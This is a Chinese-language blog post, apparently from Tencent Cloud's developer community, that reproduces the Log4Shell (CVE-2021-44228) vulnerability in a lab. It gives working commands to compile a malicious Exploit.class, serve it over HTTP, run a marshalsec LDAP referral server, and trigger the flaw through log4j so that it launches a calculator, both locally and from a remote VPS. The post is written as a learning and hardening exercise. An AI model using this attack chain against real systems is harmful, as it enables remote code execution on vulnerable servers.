前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-44228 log4j2-RCE-复现篇

CVE-2021-44228 log4j2-RCE-复现篇

原创
作者头像
枪哥四海为家
修改2022-03-06 10:35:54
1.8K2
修改2022-03-06 10:35:54
举报

声明:供漏洞理解学习及安全加固解决方案,请勿利用漏洞于非法途径,后果自负


复现工具:(复现工具很多,都可以测一下,个人比较喜欢集成化不太好的,方便理解)

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

下载复现工具:

git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git


一.本地调用计算器复现

1.本地生成Exploit.class恶意文件类,里面写入了恶意代码calc

代码语言:javascript
复制
X:\XXX\XXX\XXXX\XXXXX\CVE-2021-44228-Apache-Log4j-Rce-main\src\main\java\Exploit.java中写入calc命令
代码语言:javascript
复制
cd X:\XXX\XXX\XXXX\XXXXX\CVE-2021-44228-Apache-Log4j-Rce-main\src\main\java
代码语言:javascript
复制
javac Exploit.java #编译含有恶意代码的文件Exploit.java,生成Exploit.class

(这里可以将Exploit.class放入我们的一台http服务器,挂在http服务端网页路径中)

2.搭建本地http服务

本地开启http服务(127.0.0.1:8888)

代码语言:javascript
复制
python -m http.server 8888         #开启http服务,python3使用http.server

3.开启LDAP监听

代码语言:javascript
复制
cd X:\XXX\XXX\XXXX\XXXXX\CVE-2021-44228-Apache-Log4j-Rce-main\tools
代码语言:javascript
复制
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Exploit

4.模拟log4j2启动

运行原理:logger.error或logger.info写日志调用POC则会调用Exploit.class中的恶意代码,实现RCE。也就是说,log4j2漏洞版本只要是能写日志的,都可以触发

代码语言:javascript
复制
X:\XXX\XXX\XXXX\XXXXX\CVE-2021-44228-Apache-Log4j-Rce-main\src\main\java\log4j.java
运行log4j.java
运行log4j.java
发送LDAP结果
发送LDAP结果
弹出计算器
弹出计算器

二.访问远程恶意类调用本地计算器复现

1.远程VPS环境配置

(1)VPS_OS:Ubuntu 20.04.3 LTS

(2)JDK:jdk 1.8.0_41-b04安装及部署步骤

下载地址:https://download.java.net/openjdk/jdk8u41/ri/openjdk-8u41-b04-linux-x64-14_jan_2020.tar.gz

代码语言:javascript
复制
mkdir /usr/local/java
cd /usr/local/java
rz   # 上传下载的openjdk-8u41-b04-linux-x64-14_jan_2020.tar.gz包至远程服务器
tar -zxvf openjdk-8u41-b04-linux-x64-14_jan_2020.tar.gz

配置环境变量: vi /etc/profile,添加如下内容:

代码语言:javascript
复制
set java environment
JAVA_HOME=/usr/local/java/java-se-8u41-ri
JRE_HOME=/usr/local/java/java-se-8u41-ri/jre
CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib
PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin
export JAVA_HOME JRE_HOME CLASS_PATH PATH
代码语言:javascript
复制
source /etc/profile   #让修改生效 

测试以下命令生效即可

代码语言:javascript
复制
java –version
javac
测试JDK环境是否配置正常
测试JDK环境是否配置正常

2.恶意类Exploit.class上传VPS

代码语言:javascript
复制
Javac Exploit.java # 生成了含有恶意命令的Exploit.class类

放到apache2的网页目录下

代码语言:javascript
复制
mv Exploit.class /var/www/html

这样含有恶意命令的类Exploit.class就放好拉~

3.本地开启ldap监听

代码语言:javascript
复制
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://XXX.XXX.XXX.XXX:XX/#Exploit

4.本地运行log4j2(理解为LDAP客户端)触发漏洞


(注意:当指向的远程服务器中不存在的类的话,则无法触发漏洞,可以测一下,方便理解):

代码语言:javascript
复制
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://XXX.XXX.XXX.XXX:/#E                    # 指向一个不存在的类E.class
开启LDAP监听
开启LDAP监听

本地运行log4j2,LDAP收到监听,但未触发恶意命令,说明未执行恶意类Exploit.class中的calc命令,执行失败

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一.本地调用计算器复现
    • 1.本地生成Exploit.class恶意文件类,里面写入了恶意代码calc
      • 2.搭建本地http服务
        • 3.开启LDAP监听
          • 4.模拟log4j2启动
          • 二.访问远程恶意类调用本地计算器复现
            • 1.远程VPS环境配置
              • 2.恶意类Exploit.class上传VPS
                • 3.本地开启ldap监听
                  • 4.本地运行log4j2(理解为LDAP客户端)触发漏洞
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档